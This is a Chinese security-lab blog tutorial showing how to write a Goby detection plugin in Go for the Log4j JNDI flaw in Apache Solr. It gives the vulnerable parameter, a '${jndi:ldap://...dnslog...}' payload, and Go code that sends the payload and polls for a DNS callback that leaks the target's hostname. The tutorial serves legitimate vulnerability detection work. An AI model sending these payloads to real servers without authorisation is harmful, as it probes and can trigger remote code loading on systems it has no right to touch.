使用goby检测log4j漏洞

雷石安全实验室

共 2680字,需浏览 6分钟

 · 2022-02-11


前言

前段时间的Log4j漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用goby较多,就想利用goby的指纹识别对目标定向检测。这篇文章就从Apache Solr Log4j漏洞为例,教大家如何写goby poc,文章中有错误还请及时指正。


Goby可以通过编写go文件,来实现一些高级的漏洞检测或利用,例如dnslog检测漏洞,详情可查阅goby官方文档:

https://cn.gobies.org/docs/exp/index.html


漏洞复现

首先了解到漏洞触发点是action参数

/solr/admin/collections?action=

通过dnslog验证到靶机是存在漏洞。

payload:${jndi:ldap://24x44x.dnslog.cn/a}

图一:发送payload


图二:dnslog有回显



goby poc编写

Goby是通过golang编写的,而一些漏洞检测场景(比如dnslog验证),goby自身的JSON 格式无法满足这一需求,需采用 Golang 编写漏洞代码。

expJson部分

1.首先通过goby poc管理,添加poc,按照goby官方漏洞描述模版说明填写并保存。


图三:自定义poc


2.在goby安装目录的

\golib\exploits\user文件夹打开生成的Apache_Solr_Log4j_JNDI_RCE.json文件,如果不需要exp则需把HasExp字段的true改为false。


图四:生成的json文件


3.将生成的json代码(去掉外围大括号)复制到goby漏洞检测golang模板的expJson := `{xxx}`中。


package exploits
import ( //根据需求导入相应的包"fmt" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/godclient" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "strings" "time")
func init() { expJson := `{ expJson部分 }`
ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, nil, //自定义POC函数部分。 nil, //自定义EXP函数, 没有EXP,就写nil, ))}

goby漏洞检测golang模板



自定义函数POC部分

1.根据官方文档说明

自定义 POC 由一个函数构成,该函数参数分为 jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 结构体组成,通过响应 bool 来确认漏洞是否存在。函数模版如下:


    func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {        return false    }


需要通过编写检测漏洞是否存在的golang代码,检测到漏洞存在则返回true,不存在返回false。


  图五:自定义 POC函数部分


checkStr := goutils.RandomHexString(4)

RandomHexString函数:随机生成指定长度的字符串

checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)

GetGodCheckURL函数:生成DNSLog地址

uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"

漏洞触发点拼接payload

cfg := httpclient.NewGetRequestConfig(uri)   //NewGetRequestConfig:构建GET请求自定义配置,返回RequestConfigcfg.VerifyTls = false                          //忽略ssl验证cfg.FollowRedirect = false                    //不跟随跳转cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")  //自定义请求头httpclient.DoHttpRequest(u, cfg)             //DoHttpRequest:构建自定义请求配置,发送请求,返回请求结果HttpResponse


构建并发送自定义配置的GET请求,返回请求结果HttpResponse


图六:通过代理抓取到goby发送payload的get请求


return godclient.PullExists(checkStr, time.Second*15)


在一段时间内检测dnslog是否有HTTP请求成功,如果成功返回true,否则返回false。

图七:通过代理抓取到goby检测dnslog是否有HTTP请求成功


   图八:漏洞检测成功


注意点

1、expJson部分GobyQuery查询规则,要保证能匹配到对应目录资产

2、导入goby,发现加载不出poc,需要去检查代码的问题

3、使用goby官方的函数需通过import导入对应的包


当然除了solr还有很多框架,希望大家能从文章中学到一点知识,打磨自己的武器。


往期回顾

01

小程序测试流
02

ModSecurity 搭建web安全防火墙和流量检测

03

Struts2漏洞集合



浏览 17
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报